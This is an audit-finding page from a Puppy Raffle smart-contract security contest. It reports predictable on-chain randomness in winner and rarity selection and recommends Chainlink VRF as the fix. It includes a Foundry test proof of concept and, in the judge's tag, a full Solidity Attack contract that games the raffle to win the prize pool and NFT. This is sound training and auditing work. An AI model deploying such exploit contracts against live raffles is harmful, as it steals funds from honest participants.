Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

# [H-2] Weak and Predictable Randomness in Winner Selection

[H-2] Weak and Predictable Randomness in Winner Selection

Title: Weak and Predictable Randomness in Winner Selection

Impact: High

Likelihood: Medium

Description

  • The selectWinner function uses on-chain data to determine both the winning player and the NFT rarity tier. In a fair raffle, the winner should be chosen unpredictably so that no participant can influence or predict the outcome before it is finalized.

  • The random number generation relies on block.timestamp, block.difficulty, and msg.sender, all of which are either publicly known or manipulable by the caller. A block producer calling selectWinner can pre-compute the winning index for different timestamp and difficulty values, then submit a block that lands on a desired winner. The same weakness applies to the rarity determination hash, allowing manipulation of NFT trait outcomes.

uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // @> msg.sender is known, block.timestamp and block.difficulty are manipulable by miners
// ...
uint256 rarity =
- uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ // @> Same weak seed — miner can brute-force to mint Legendary NFTs

Risk

Likelihood:

  • A block producer (miner or validator) controls block.timestamp within a few seconds of tolerance and can influence block.difficulty. By iterating through valid timestamp values and computing the hash off-chain, they can determine which combination produces their desired winner index.

  • Once the raffle duration has elapsed, any block producer can call selectWinner and manipulate the outcome at essentially no cost since they control block production.

Impact:

  • An attacker can guarantee winning the raffle and the associated ETH prize pool (80% of total collected funds), directly stealing from all legitimate participants every round.

  • The attacker can also force the rarity outcome to always mint Legendary NFTs (the rarest and most valuable tier), undermining the NFT economy and devaluing Common and Rare tiers held by honest winners.

Proof of Concept

function testMinerManipulatesWinner() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
// Attacker (block producer) tries different timestamps
// to find one where they win
for (uint256 i = 0; i < 100; i++) {
vm.warp(block.timestamp + 1);
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(
address(this),
block.timestamp,
block.difficulty
))
) % 4; // 4 players
if (winnerIndex == 3) {
// Block producer knows playerFour (index 3) wins
// at this timestamp — they include this tx in their block
puppyRaffle.selectWinner();
assertEq(puppyRaffle.previousWinner(), playerFour);
break;
}
}
}

Recommended Mitigation

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Use Chainlink VRF for verifiable, tamper-proof randomness
+ uint256 requestId = COORDINATOR.requestRandomWords(
+ callbackGasLimit,
+ requestConfirmations,
+ numWords
+ );
+ // Winner selected in fulfillment callback with provably random value
address winner = players[winnerIndex];
// ...
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ // Also use VRF randomness for rarity
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!